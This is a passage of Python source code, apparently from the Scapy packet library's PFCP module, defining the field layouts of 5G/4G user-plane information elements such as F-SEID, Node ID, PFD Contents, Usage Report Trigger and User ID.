1), BitField("ERIR", 0, 1), BitField("USAR", 0, 1), BitField("DLDR", 0, 1), ExtraDataField("extra_data"), ] class IE_OffendingIE(IE_Base): name = "IE Offending IE" ie_type = 40 fields_desc = IE_Base.fields_desc + [ ShortEnumField("type", None, IEType) ] class IE_ForwardingPolicy(IE_Base): name = "IE Forwarding Policy" ie_type = 41 fields_desc = IE_Base.fields_desc + [ FieldLenField("policy_identifier_length", None, length_of="policy_identifier", fmt="B"), StrLenField("policy_identifier", "", length_from=lambda pkt: pkt.policy_identifier_length) ] class IE_DestinationInterface(IE_Base): name = "IE Destination Interface" ie_type = 42 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitEnumField("interface", "Access", 4, DestinationInterface), ExtraDataField("extra_data"), ] class IE_UPFunctionFeatures(IE_Base): name = "IE UP Function Features" ie_type = 43 default_length = 2 fields_desc = IE_Base.fields_desc + [ ConditionalField(BitField("TREU", None, 1), lambda x: x.length > 0), ConditionalField(BitField("HEEU", None, 1), lambda x: x.length > 0), ConditionalField(BitField("PFDM", None, 1), lambda x: x.length > 0), ConditionalField(BitField("FTUP", None, 1), lambda x: x.length > 0), ConditionalField(BitField("TRST", None, 1), lambda x: x.length > 0), ConditionalField(BitField("DLBD", None, 1), lambda x: x.length > 0), ConditionalField(BitField("DDND", None, 1), lambda x: x.length > 0), ConditionalField(BitField("BUCP", None, 1), lambda x: x.length > 0), ConditionalField(BitField("spare", None, 1), lambda x: x.length > 1), ConditionalField(BitField("PFDE", None, 1), lambda x: x.length > 1), ConditionalField(BitField("FRRT", None, 1), lambda x: x.length > 1), ConditionalField(BitField("TRACE", None, 1), lambda x: x.length > 1), ConditionalField(BitField("QUOAC", None, 1), lambda x: x.length > 1), ConditionalField(BitField("UDBC", None, 1), lambda x: x.length > 1), ConditionalField(BitField("PDIU", None, 1), lambda x: x.length > 1), ConditionalField(BitField("EMPU", None, 1), lambda x: x.length > 1), ExtraDataField("extra_data"), ] class IE_ApplyAction(IE_Base): name = "IE Apply Action" ie_type = 44 fields_desc = IE_Base.fields_desc + [ XBitField("spare", None, 3), BitField("DUPL", 0, 1), BitField("NOCP", 0, 1), BitField("BUFF", 0, 1), BitField("FORW", 0, 1), BitField("DROP", 0, 1), ExtraDataField("extra_data"), ] class IE_DownlinkDataServiceInformation(IE_Base): name = "IE Downlink Data Service Information" ie_type = 45 fields_desc = IE_Base.fields_desc + [ XBitField("spare_1", None, 6), BitField("QFII", 0, 1), BitField("PPI", 0, 1), ConditionalField( XBitField("spare_2", None, 2), lambda x: x.PPI == 1), ConditionalField( XBitField("ppi_val", None, 6), lambda x: x.PPI == 1), ConditionalField( XBitField("spare_3", None, 2), lambda x: x.QFII == 1), ConditionalField( XBitField("qfi_val", None, 6), lambda x: x.QFII == 1), ExtraDataField("extra_data"), ] class IE_DownlinkDataNotificationDelay(IE_Base): name = "IE Downlink Data Notification Delay" ie_type = 46 fields_desc = IE_Base.fields_desc + [ ByteField("delay", 0), # in multiples of 50 ExtraDataField("extra_data"), ] class IE_DLBufferingDuration(IE_Base): name = "IE DL Buffering Duration" ie_type = 47 fields_desc = IE_Base.fields_desc + [ BitEnumField("timer_unit", "2 seconds", 3, TimerUnit), BitField("timer_value", 0, 5), ExtraDataField("extra_data"), ] class IE_DLBufferingSuggestedPacketCount(IE_Base): name = "IE DL Buffering Suggested Packet Count" ie_type = 48 fields_desc = IE_Base.fields_desc + [ MultipleTypeField([ ( ByteField("count", 0), (lambda x: x.length == 1, lambda x, val: x.length == 1 or (x.length is None and val < 256)), ), ( ShortField("count", 0), (lambda x: x.length == 2, lambda x, val: x.length == 1 or (x.length is None and val >= 256)) ), ], ByteField("count", 0)) ] class IE_PFCPSMReqFlags(IE_Base): name = "IE PFCPSMReq-Flags" ie_type = 49 fields_desc = IE_Base.fields_desc + [ XBitField("spare", None, 5), BitField("QUARR", 0, 1), BitField("SNDEM", 0, 1), BitField("DROBU", 0, 1), ExtraDataField("extra_data"), ] class IE_PFCPSRRspFlags(IE_Base): name = "IE PFCPSRRsp-Flags" ie_type = 50 fields_desc = IE_Base.fields_desc + [ XBitField("spare", None, 7), BitField("DROBU", 0, 1), ExtraDataField("extra_data"), ] class IE_SequenceNumber(IE_Base): name = "IE Sequence Number" ie_type = 52 fields_desc = IE_Base.fields_desc + [ IntField("number", 0), ] class IE_Metric(IE_Base): name = "IE Metric" ie_type = 53 fields_desc = IE_Base.fields_desc + [ ByteField("metric", 0), ] class IE_Timer(IE_Base): name = "IE Timer" ie_type = 55 fields_desc = IE_Base.fields_desc + [ BitEnumField("timer_unit", "2 seconds", 3, TimerUnit), BitField("timer_value", 0, 5), ExtraDataField("extra_data"), ] class IE_PDR_Id(IE_Base): name = "IE PDR ID" ie_type = 56 fields_desc = IE_Base.fields_desc + [ ShortField("id", 0), ExtraDataField("extra_data"), ] class IE_FSEID(IE_Base): name = "IE F-SEID" ie_type = 57 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 6), BitField("v4", 0, 1), BitField("v6", 0, 1), XLongField("seid", 0), ConditionalField(IPField("ipv4", 0), lambda x: x.v4 == 1), ConditionalField(IP6Field("ipv6", 0), lambda x: x.v6 == 1), ExtraDataField("extra_data"), ] class IE_NodeId(IE_Base): name = "IE Node ID" ie_type = 60 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitEnumField("id_type", "IPv4", 4, NodeIdType), ConditionalField(IPField("ipv4", 0), lambda x: x.id_type == 0), ConditionalField(IP6Field("ipv6", 0), lambda x: x.id_type == 1), ConditionalField( APNStrLenField("id", "", length_from=lambda x: x.length - 1), lambda x: x.id_type == 2), ExtraDataField("extra_data"), ] class IE_PFDContents(IE_Base): name = "IE PFD contents" ie_type = 61 fields_desc = IE_Base.fields_desc + [ BitField("ADNP", 0, 1), BitField("AURL", 0, 1), BitField("AFD", 0, 1), BitField("DNP", 0, 1), BitField("CP", 0, 1), BitField("DN", 0, 1), BitField("URL", 0, 1), BitField("FD", 0, 1), ByteField("spare_2", 0), ConditionalField(FieldLenField("flow_length", None, length_of="flow"), lambda pkt: pkt.FD == 1), ConditionalField(StrLenField("flow", "", length_from=lambda pkt: pkt.flow_length), lambda pkt: pkt.FD == 1), ConditionalField(FieldLenField("url_length", None, length_of="url"), lambda pkt: pkt.URL == 1), ConditionalField(StrLenField("url", "", length_from=lambda pkt: pkt.url_length), lambda pkt: pkt.URL == 1), ConditionalField(FieldLenField("domain_length", None, length_of="domain"), lambda pkt: pkt.DN == 1), ConditionalField( StrLenField("domain", "", length_from=lambda pkt: pkt.domain_length), lambda pkt: pkt.DN == 1), ConditionalField(FieldLenField("custom_length", None, length_of="custom"), lambda pkt: pkt.CP == 1), ConditionalField( StrLenField("custom", "", length_from=lambda pkt: pkt.custom_length), lambda pkt: pkt.CP == 1), ConditionalField(FieldLenField("dnp_length", None, length_of="dnp"), lambda pkt: pkt.DNP == 1), ConditionalField(StrLenField("dnp", "", length_from=lambda pkt: pkt.dnp_length), lambda pkt: pkt.DNP == 1), ConditionalField(FieldLenField("additional_flow_length", None, length_of="additional_flow"), lambda pkt: pkt.AFD == 1), ConditionalField( StrLenField("additional_flow", "", length_from=lambda pkt: pkt.additional_flow_length), lambda pkt: pkt.AFD == 1), ConditionalField(FieldLenField("additional_url_length", None, length_of="additional_url"), lambda pkt: pkt.AURL == 1), ConditionalField( StrLenField("additional_url", "", length_from=lambda pkt: pkt.additional_url_length), lambda pkt: pkt.AURL == 1), ConditionalField( FieldLenField("additional_dn_dnp_length", None, length_of="additional_dn_dnp"), lambda pkt: pkt.ADNP == 1), ConditionalField( StrLenField("additional_dn_dnp", "", length_from=lambda pkt: pkt.additional_dn_dnp_length), lambda pkt: pkt.ADNP == 1), ExtraDataField("extra_data"), ] class IE_MeasurementMethod(IE_Base): name = "IE Measurement Method" ie_type = 62 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitField("EVENT", 0, 1), BitField("VOLUM", 0, 1), BitField("DURAT", 0, 1), ExtraDataField("extra_data"), ] class IE_UsageReportTrigger(IE_Base): name = "IE Usage Report Trigger" ie_type = 63 fields_desc = IE_Base.fields_desc + [ BitField("IMMER", 0, 1), BitField("DROTH", 0, 1), BitField("STOPT", 0, 1), BitField("START", 0, 1), BitField("QUHTI", 0, 1), BitField("TIMTH", 0, 1), BitField("VOLTH", 0, 1), BitField("PERIO", 0, 1), BitField("EVETH", 0, 1), BitField("MACAR", 0, 1), BitField("ENVCL", 0, 1), BitField("MONIT", 0, 1), BitField("TERMR", 0, 1), BitField("LIUSA", 0, 1), BitField("TIMQU", 0, 1), BitField("VOLQU", 0, 1), ExtraDataField("extra_data"), ] class IE_MeasurementPeriod(IE_Base): name = "IE Measurement Period" ie_type = 64 fields_desc = IE_Base.fields_desc + [ IntField("period", 0), ExtraDataField("extra_data"), ] class IE_FqCSID(IE_Base): name = "IE FQ-CSID" ie_type = 65 fields_desc = IE_Base.fields_desc + [ BitEnumField("node_id_type", "IPv4", 4, FqCSIDNodeIdType), BitFieldLenField("num_csids", None, 4, count_of="csids"), ConditionalField(IPField("ipv4", 0), lambda x: x.node_id_type == 0), ConditionalField(IP6Field("ipv6", 0), lambda x: x.node_id_type == 1), ConditionalField( # FIXME: split (value = mcc * 1000 + mnc) BitField("mcc_mnc", 0, 20), lambda x: x.node_id_type == 2), # "Least significant 12 bits is a 12 bit integer assigned by # an operator to an MME, SGW-C, SGW-U, PGW-C or PGW-U." ConditionalField( BitField("extra_id", 0, 12), lambda x: x.node_id_type == 2), FieldListField("csids", None, ShortField("csid", 0), count_from=lambda x: x.num_csids), ExtraDataField("extra_data"), ] class IE_VolumeMeasurement(IE_Base): name = "IE Volume Measurement" ie_type = 66 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitField("DLVOL", 0, 1), BitField("ULVOL", 0, 1), BitField("TOVOL", 0, 1), ConditionalField(XLongField("total", 0), lambda x: x.TOVOL == 1), ConditionalField(XLongField("uplink", 0), lambda x: x.ULVOL == 1), ConditionalField(XLongField("downlink", 0), lambda x: x.DLVOL == 1), ExtraDataField("extra_data"), ] class IE_DurationMeasurement(IE_Base): name = "IE Duration Measurement" ie_type = 67 fields_desc = IE_Base.fields_desc + [ IntField("duration", 0), ExtraDataField("extra_data"), ] class IE_TimeOfFirstPacket(IE_Base): name = "IE Time of First Packet" ie_type = 69 fields_desc = IE_Base.fields_desc + [ IntField("timestamp", 0), ExtraDataField("extra_data"), ] class IE_TimeOfLastPacket(IE_Base): name = "IE Time of Last Packet" ie_type = 70 fields_desc = IE_Base.fields_desc + [ IntField("timestamp", 0), ExtraDataField("extra_data"), ] class IE_QuotaHoldingTime(IE_Base): name = "IE Quota Holding Time" ie_type = 71 fields_desc = IE_Base.fields_desc + [ IntField("time_value", 0), ExtraDataField("extra_data"), ] class IE_DroppedDLTrafficThreshold(IE_Base): name = "IE Dropped DL Traffic Threshold" ie_type = 72 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 6), BitField("DLBY", 0, 1), BitField("DLPA", 0, 1), ConditionalField(LongField("packet_count", 0), lambda x: x.DLPA == 1), ConditionalField(LongField("byte_count", 0), lambda x: x.DLBY == 1), ExtraDataField("extra_data"), ] class IE_VolumeQuota(IE_Base): name = "IE Volume Quota" ie_type = 73 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitField("DLVOL", 0, 1), BitField("ULVOL", 0, 1), BitField("TOVOL", 0, 1), ConditionalField(XLongField("total", 0), lambda x: x.TOVOL == 1), ConditionalField(XLongField("uplink", 0), lambda x: x.ULVOL == 1), ConditionalField(XLongField("downlink", 0), lambda x: x.DLVOL == 1), ExtraDataField("extra_data"), ] class IE_TimeQuota(IE_Base): name = "IE Time Quota" ie_type = 74 fields_desc = IE_Base.fields_desc + [ IntField("quota", 0), ExtraDataField("extra_data"), ] class IE_StartTime(IE_Base): name = "IE Start Time" ie_type = 75 fields_desc = IE_Base.fields_desc + [ IntField("timestamp", 0), ExtraDataField("extra_data"), ] class IE_EndTime(IE_Base): name = "IE End Time" ie_type = 76 fields_desc = IE_Base.fields_desc + [ IntField("timestamp", 0), ExtraDataField("extra_data"), ] class IE_URR_Id(IE_Base): name = "IE URR ID" ie_type = 81 fields_desc = IE_Base.fields_desc + [ IntField("id", 0), ExtraDataField("extra_data"), ] class IE_LinkedURR_Id(IE_Base): name = "IE Linked URR ID" ie_type = 82 fields_desc = IE_Base.fields_desc + [ IntField("id", 0), ExtraDataField("extra_data"), ] class IE_OuterHeaderCreation(IE_Base): name = "IE Outer Header Creation" ie_type = 84 fields_desc = IE_Base.fields_desc + [ BitField("STAG", 0, 1), BitField("CTAG", 0, 1), BitField("IPV6", 0, 1), BitField("IPV4", 0, 1), BitField("UDPIPV6", 0, 1), BitField("UDPIPV4", 0, 1), BitField("GTPUUDPIPV6", 0, 1), BitField("GTPUUDPIPV4", 0, 1), ByteField("spare", 0), ConditionalField(XIntField("TEID", 0), lambda x: x.GTPUUDPIPV4 == 1 or x.GTPUUDPIPV6 == 1), ConditionalField(IPField("ipv4", 0), lambda x: x.IPV4 == 1 or x.UDPIPV4 == 1 or x.GTPUUDPIPV4 == 1), ConditionalField(IP6Field("ipv6", 0), lambda x: x.IPV6 == 1 or x.UDPIPV6 == 1 or x.GTPUUDPIPV6 == 1), ConditionalField(ShortField("port", 0), lambda x: x.UDPIPV4 == 1 or x.UDPIPV6 == 1), ConditionalField(ThreeBytesField("ctag", 0), lambda x: x.CTAG == 1), ConditionalField(ThreeBytesField("stag", 0), lambda x: x.STAG == 1), ExtraDataField("extra_data"), ] class IE_BAR_Id(IE_Base): name = "IE BAR ID" ie_type = 88 fields_desc = IE_Base.fields_desc + [ ByteField("id", 0), ExtraDataField("extra_data"), ] class IE_CPFunctionFeatures(IE_Base): name = "IE CP Function Features" ie_type = 89 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 6), BitField("OVRL", 0, 1), BitField("LOAD", 0, 1), ExtraDataField("extra_data"), ] class IE_UsageInformation(IE_Base): name = "IE Usage Information" ie_type = 90 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitField("UBE", 0, 1), BitField("UAE", 0, 1), BitField("AFT", 0, 1), BitField("BEF", 0, 1), ExtraDataField("extra_data"), ] class IE_ApplicationInstanceId(IE_Base): name = "IE Application Instance ID" ie_type = 91 fields_desc = IE_Base.fields_desc + [ StrLenField("id", "", length_from=lambda x: x.length) ] class IE_FlowInformation(IE_Base): name = "IE Flow Information" ie_type = 92 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitEnumField("direction", "Unspecified", 3, FlowDirection), FieldLenField("flow_length", None, length_of="flow"), StrLenField("flow", "", length_from=lambda x: x.flow_length), ExtraDataField("extra_data"), ] class IE_UE_IP_Address(IE_Base): name = "IE UE IP Address" ie_type = 93 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitField("SD", 0, 1), # source or dest BitField("V4", 0, 1), BitField("V6", 0, 1), ConditionalField(IPField("ipv4", 0), lambda x: x.V4 == 1), ConditionalField(IP6Field("ipv6", 0), lambda x: x.V6 == 1), ExtraDataField("extra_data"), ] class IE_PacketRate(IE_Base): name = "IE Packet Rate" ie_type = 94 fields_desc = IE_Base.fields_desc + [ XBitField("spare_1", 0, 6), BitField("DLPR", 0, 1), BitField("ULPR", 0, 1), ConditionalField(BitField("spare_2", 0, 5), lambda x: x.ULPR == 1), ConditionalField(BitEnumField("ul_time_unit", "minute", 3, TimeUnit), lambda x: x.ULPR == 1), ConditionalField(ShortField("ul_max_packet_rate", 0), lambda x: x.ULPR == 1), ConditionalField(BitField("spare_3", 0, 5), lambda x: x.DLPR == 1), ConditionalField(BitEnumField("dl_time_unit", "minute", 3, TimeUnit), lambda x: x.DLPR == 1), ConditionalField(ShortField("dl_max_packet_rate", 0), lambda x: x.DLPR == 1), ExtraDataField("extra_data"), ] class IE_OuterHeaderRemoval(IE_Base): name = "IE Outer Header Removal" ie_type = 95 fields_desc = IE_Base.fields_desc + [ ByteEnumField("header", None, OuterHeaderRemovalDescription), ConditionalField(XBitField("spare", None, 7), lambda x: x.length is not None and x.length > 1), ConditionalField(BitField("pdu_session_container", None, 1), lambda x: x.length is not None and x.length > 1), ExtraDataField("extra_data"), ] class IE_RecoveryTimeStamp(IE_Base): name = "IE Recovery Time Stamp" ie_type = 96 default_length = 4 fields_desc = IE_Base.fields_desc + [ IntField("timestamp", 0), ExtraDataField("extra_data"), ] class IE_DLFlowLevelMarking(IE_Base): name = "IE DL Flow Level Marking" ie_type = 97 fields_desc = IE_Base.fields_desc + [ XBitField("spare_1", 0, 6), BitField("SCI", 0, 1), BitField("TTC", 0, 1), ConditionalField(ByteField("traffic_class", 0), lambda x: x.TTC), ConditionalField(ByteField("traffic_class_mask", 0), lambda x: x.TTC), ConditionalField(ByteField("service_class_indicator", 0), lambda x: x.SCI), ConditionalField(ByteField("spare_2", 0), lambda x: x.SCI), ExtraDataField("extra_data"), ] class IE_HeaderEnrichment(IE_Base): name = "IE Header Enrichment" ie_type = 98 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 3), BitEnumField("header_type", "HTTP", 5, HeaderType), FieldLenField("name_length", None, fmt="B", length_of="name"), StrLenField("name", "", length_from=lambda x: x.name_length), FieldLenField("value_length", None, fmt="B", length_of="value"), StrLenField("value", "", length_from=lambda x: x.value_length), ExtraDataField("extra_data"), ] class IE_MeasurementInformation(IE_Base): name = "IE Measurement Information" ie_type = 100 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 3), BitField("MNOP", 0, 1), BitField("ISTM", 0, 1), BitField("RADI", 0, 1), BitField("INAM", 0, 1), BitField("MBQE", 0, 1), ExtraDataField("extra_data"), ] class IE_NodeReportType(IE_Base): name = "IE Node Report Type" ie_type = 101 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 7), BitField("UPFR", 0, 1), ExtraDataField("extra_data"), ] class IE_RemoteGTP_U_Peer(IE_Base): name = "IE Remote GTP-U Peer" ie_type = 103 fields_desc = IE_Base.fields_desc + [ XBitField("spare_1", 0, 4), BitField("NI", 0, 1), BitField("DI", 0, 1), BitField("V4", 0, 1), BitField("V6", 0, 1), ConditionalField(IPField("ipv4", 0), lambda x: x.V4 == 1), ConditionalField(IP6Field("ipv6", 0), lambda x: x.V6 == 1), ConditionalField(ByteField("dest_interface_length", 1), lambda x: x.DI == 1), ConditionalField(XBitField("spare_2", 0, 4), lambda x: x.DI == 1), ConditionalField( BitEnumField("dest_interface", "Access", 4, DestinationInterface), lambda x: x.DI == 1), ConditionalField( FieldLenField("network_instance_length", 1, length_of="network_instance"), lambda x: x.NI == 1), ConditionalField( APNStrLenField("network_instance", "", length_from=lambda x: x.network_instance_length), lambda x: x.NI == 1), ExtraDataField("extra_data"), ] class IE_UR_SEQN(IE_Base): name = "IE UR-SEQN" ie_type = 104 fields_desc = IE_Base.fields_desc + [ IntField("number", 0), ] class IE_ActivatePredefinedRules(IE_Base): name = "IE Activate Predefined Rules" ie_type = 106 fields_desc = IE_Base.fields_desc + [ StrLenField("name", "", length_from=lambda x: x.length) ] class IE_DeactivatePredefinedRules(IE_Base): name = "IE Deactivate Predefined Rules" ie_type = 107 fields_desc = IE_Base.fields_desc + [ StrLenField("name", "", length_from=lambda x: x.length) ] class IE_FAR_Id(IE_Base): name = "IE FAR ID" ie_type = 108 fields_desc = IE_Base.fields_desc + [ IntField("id", 0), ExtraDataField("extra_data"), ] class IE_QER_Id(IE_Base): name = "IE QER ID" ie_type = 109 fields_desc = IE_Base.fields_desc + [ IntField("id", 0), ExtraDataField("extra_data"), ] class IE_OCIFlags(IE_Base): name = "IE OCI Flags" ie_type = 110 fields_desc = IE_Base.fields_desc + [ XBitField("spare", None, 7), BitField("AOCI", 0, 1), ExtraDataField("extra_data"), ] class IE_PFCPAssociationReleaseRequest(IE_Base): name = "IE PFCP Association Release Request" ie_type = 111 fields_desc = IE_Base.fields_desc + [ XBitField("spare", None, 7), BitField("SARR", 0, 1), ExtraDataField("extra_data"), ] class IE_GracefulReleasePeriod(IE_Base): name = "IE Graceful Release Period" ie_type = 112 fields_desc = IE_Base.fields_desc + [ BitEnumField("release_timer_unit", "2 seconds", 3, TimerUnit), BitField("release_timer_value", 0, 5), ExtraDataField("extra_data"), ] class IE_PDNType(IE_Base): name = "IE PDN Type" ie_type = 113 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitEnumField("pdn_type", "IPv4", 3, PDNType), ExtraDataField("extra_data"), ] class IE_FailedRuleId(IE_Base): name = "IE Failed Rule ID" ie_type = 114 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 3), BitEnumField("type", "PDR", 5, RuleIDType), ConditionalField(ShortField("pdr_id", 0), lambda x: x.type == 0), ConditionalField(IntField("far_id", 0), lambda x: x.type == 1 or x.type > 4), ConditionalField(IntField("qer_id", 0), lambda x: x.type == 2), ConditionalField(IntField("urr_id", 0), lambda x: x.type == 3), ConditionalField(ByteField("bar_id", 0), lambda x: x.type == 4), ExtraDataField("extra_data"), ] class IE_TimeQuotaMechanism(IE_Base): name = "IE Time Quota Mechanism" ie_type = 115 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 6), BitEnumField("base_time_interval_type", "CTP", 2, BaseTimeInterval), IntField("interval", 0), ExtraDataField("extra_data"), ] class IE_UserPlaneIPResourceInformation(IE_Base): name = "IE User Plane IP Resource Information" ie_type = 116 fields_desc = IE_Base.fields_desc + [ XBitField("spare1", 0, 1), BitField("ASSOSI", 0, 1), BitField("ASSONI", 0, 1), BitField("TEIDRI", 0, 3), BitField("V6", 0, 1), BitField("V4", 0, 1), ConditionalField(XByteField("teid_range", 0), lambda x: x.TEIDRI != 0), ConditionalField(IPField("ipv4", 0), lambda x: x.V4 == 1), ConditionalField(IP6Field("ipv6", 0), lambda x: x.V6 == 1), ConditionalField( APNStrLenField("network_instance", "", length_from=lambda x: x.length - 1 - (1 if x.TEIDRI != 0 else 0) - (x.V4 * 4) - (x.V6 * 16) - x.ASSOSI), lambda x: x.ASSONI == 1), ConditionalField( XBitField("spare2", None, 4), lambda x: x.ASSOSI == 1), ConditionalField( BitEnumField("interface", "Access", 4, SourceInterface), lambda x: x.ASSOSI == 1), ExtraDataField("extra_data"), ] class IE_UserPlaneInactivityTimer(IE_Base): name = "IE User Plane Inactivity Timer" ie_type = 117 fields_desc = IE_Base.fields_desc + [ IntField("timer", 0), ExtraDataField("extra_data"), ] class IE_Multiplier(IE_Base): name = "IE Multiplier" ie_type = 119 fields_desc = IE_Base.fields_desc + [ SignedLongField("digits", 0), SignedIntField("exponent", 0), ] class IE_AggregatedURR_Id(IE_Base): name = "IE Aggregated URR ID" ie_type = 120 fields_desc = IE_Base.fields_desc + [ IntField("id", 0), ] class IE_SubsequentVolumeQuota(IE_Base): name = "IE Subsequent Volume Quota" ie_type = 121 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitField("DLVOL", 0, 1), BitField("ULVOL", 0, 1), BitField("TOVOL", 0, 1), ConditionalField(XLongField("total", 0), lambda x: x.TOVOL == 1), ConditionalField(XLongField("uplink", 0), lambda x: x.ULVOL == 1), ConditionalField(XLongField("downlink", 0), lambda x: x.DLVOL == 1), ExtraDataField("extra_data"), ] class IE_SubsequentTimeQuota(IE_Base): name = "IE Subsequent Time Quota" ie_type = 122 fields_desc = IE_Base.fields_desc + [ IntField("quota", 0), ExtraDataField("extra_data"), ] class IE_RQI(IE_Base): name = "IE RQI" ie_type = 123 fields_desc = IE_Base.fields_desc + [ XBitField("spare", None, 7), BitField("RQI", 0, 1), ExtraDataField("extra_data"), ] class IE_QFI(IE_Base): name = "IE QFI" ie_type = 124 fields_desc = IE_Base.fields_desc + [ XBitField("spare", None, 2), BitField("QFI", 0, 6), ExtraDataField("extra_data"), ] class IE_QueryURRReference(IE_Base): name = "IE Query URR Reference" ie_type = 125 fields_desc = IE_Base.fields_desc + [ IntField("reference", 0), ExtraDataField("extra_data"), ] class IE_AdditionalUsageReportsInformation(IE_Base): name = "IE Additional Usage Reports Information" ie_type = 126 fields_desc = IE_Base.fields_desc + [ BitField("AURI", 0, 1), BitField("reports", 0, 15), ExtraDataField("extra_data"), ] class IE_TrafficEndpointId(IE_Base): name = "IE Traffic Endpoint ID" ie_type = 131 fields_desc = IE_Base.fields_desc + [ ByteField("id", 0), ExtraDataField("extra_data"), ] class IE_MACAddress(IE_Base): name = "IE MAC Address" ie_type = 133 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitField("UDES", 0, 1), BitField("USOU", 0, 1), BitField("DEST", 0, 1), BitField("SOUR", 0, 1), ConditionalField(MACField("source_mac", 0), lambda x: x.SOUR == 1), ConditionalField(MACField("destination_mac", 0), lambda x: x.DEST == 1), ConditionalField(MACField("upper_source_mac", 0), lambda x: x.USOU == 1), ConditionalField(MACField("upper_destination_mac", 0), lambda x: x.UDES == 1), ExtraDataField("extra_data"), ] class IE_C_TAG(IE_Base): name = "IE C-TAG" ie_type = 134 fields_desc = IE_Base.fields_desc + [ XBitField("spare_1", 0, 5), BitField("VID", 0, 1), BitField("DEI", 0, 1), BitField("PCP", 0, 1), # TODO: fix cvid_value ConditionalField( BitField("cvid_value_hi", 0, 4), lambda x: x.VID == 1), ConditionalField(BitField("spare_2", 0, 4), lambda x: x.VID == 0), ConditionalField(BitField("dei_flag", 0, 1), lambda x: x.DEI == 1), ConditionalField(BitField("spare_3", 0, 1), lambda x: x.DEI == 0), ConditionalField(BitField("pcp_value", 0, 3), lambda x: x.PCP == 1), ConditionalField(BitField("spare_4", 0, 3), lambda x: x.PCP == 0), ConditionalField(ByteField("cvid_value_low", 0), lambda x: x.VID == 1), ConditionalField(ByteField("spare_5", 0), lambda x: x.VID == 0), ExtraDataField("extra_data"), ] class IE_S_TAG(IE_Base): name = "IE S-TAG" ie_type = 135 fields_desc = IE_Base.fields_desc + [ XBitField("spare_1", 0, 5), BitField("VID", 0, 1), BitField("DEI", 0, 1), BitField("PCP", 0, 1), # TODO: fix svid_value ConditionalField(BitField("svid_value_hi", 0, 4), lambda x: x.VID == 1), ConditionalField(BitField("spare_2", 0, 4), lambda x: x.VID == 0), ConditionalField(BitField("dei_flag", 0, 1), lambda x: x.DEI == 1), ConditionalField(BitField("spare_3", 0, 1), lambda x: x.DEI == 0), ConditionalField(BitField("pcp_value", 0, 3), lambda x: x.PCP == 1), ConditionalField(BitField("spare_4", 0, 3), lambda x: x.PCP == 0), ConditionalField(ByteField("svid_value_low", 0), lambda x: x.VID == 1), ConditionalField(ByteField("spare_5", 0), lambda x: x.VID == 0), ExtraDataField("extra_data"), ] class IE_Ethertype(IE_Base): name = "IE Ethertype" ie_type = 136 fields_desc = IE_Base.fields_desc + [ ShortField("type", 0), ExtraDataField("extra_data"), ] class IE_Proxying(IE_Base): name = "IE Proxying" ie_type = 137 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 6), BitField("INS", 0, 1), BitField("ARP", 0, 1), ExtraDataField("extra_data"), ] class IE_EthernetFilterId(IE_Base): name = "IE Ethernet Filter ID" ie_type = 138 fields_desc = IE_Base.fields_desc + [ IntField("id", 0), ExtraDataField("extra_data"), ] class IE_EthernetFilterProperties(IE_Base): name = "IE Ethernet Filter Properties" ie_type = 139 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 7), BitField("BIDE", 0, 1), ExtraDataField("extra_data"), ] class IE_SuggestedBufferingPacketsCount(IE_Base): name = "IE Suggested Buffering Packets Count" ie_type = 140 fields_desc = IE_Base.fields_desc + [ ByteField("count", 0), ExtraDataField("extra_data"), ] class IE_UserId(IE_Base): name = "IE User ID" ie_type = 141 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitField("NAIF", 0, 1), BitField("MSISDNF", 0, 1), BitField("IMEIF", 0, 1), BitField("IMSIF", 0, 1), ConditionalField( FieldLenField("imsi_length", None, length_of="imsi", fmt="B"), lambda x: x.IMSIF == 1), ConditionalField( StrLenField("imsi", "", length_from=lambda x: x.imsi_length), lambda x: x.IMSIF == 1), ConditionalField( FieldLenField("imei_length", None, length_of="imei", fmt="B"), lambda x: x.IMEIF == 1), ConditionalField( StrLenField("imei", "", length_from=lambda x: x.imei_length), lambda x: x.IMEIF == 1), ConditionalField( FieldLenField("msisdn_length", None, length_of="msisdn", fmt="B"), lambda x: x.MSISDNF == 1), ConditionalField( StrLenField("msisdn", "", length_from=lambda x: x.msisdn_length), lambda x: x.MSISDNF == 1), ConditionalField( FieldLenField("nai_length", None, length_of="nai", fmt="B"), lambda x: x.NAIF == 1), ConditionalField( StrLenField("nai", "", length_from=lambda x: x.nai_length), lambda x: x.NAIF == 1), ExtraDataField("extra_data"), ] class IE_EthernetPDUSessionInformation(IE_Base): name = "IE Ethernet PDU Session Information" ie_type = 142 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 7), BitField("ETHI", 0, 1), ExtraDataField("extra_data"), ] class IE_MACAddressesDetected(IE_Base): name = "IE MAC Addresses Detected" ie_type = 144 fields_desc = IE_Base.fields_desc + [ FieldLenField("num_macs", None, count_of="macs", fmt="B"), FieldListField("macs", None, MACField("mac", 0), count_from=lambda x: x.num_macs), ExtraDataField("extra_data"), ] class IE_MACAddressesRemoved(IE_Base): name = "IE MAC Addresses Removed" ie_type = 145 fields_desc = IE_Base.fields_desc + [ FieldLenField("num_macs", None, count_of="macs", fmt="B"), FieldListField("macs", None, MACField("mac", 0), count_from=lambda x: x.num_macs), ExtraDataField("extra_data"), ] class IE_EthernetInactivityTimer(IE_Base): name = "IE Ethernet Inactivity Timer" ie_type = 146 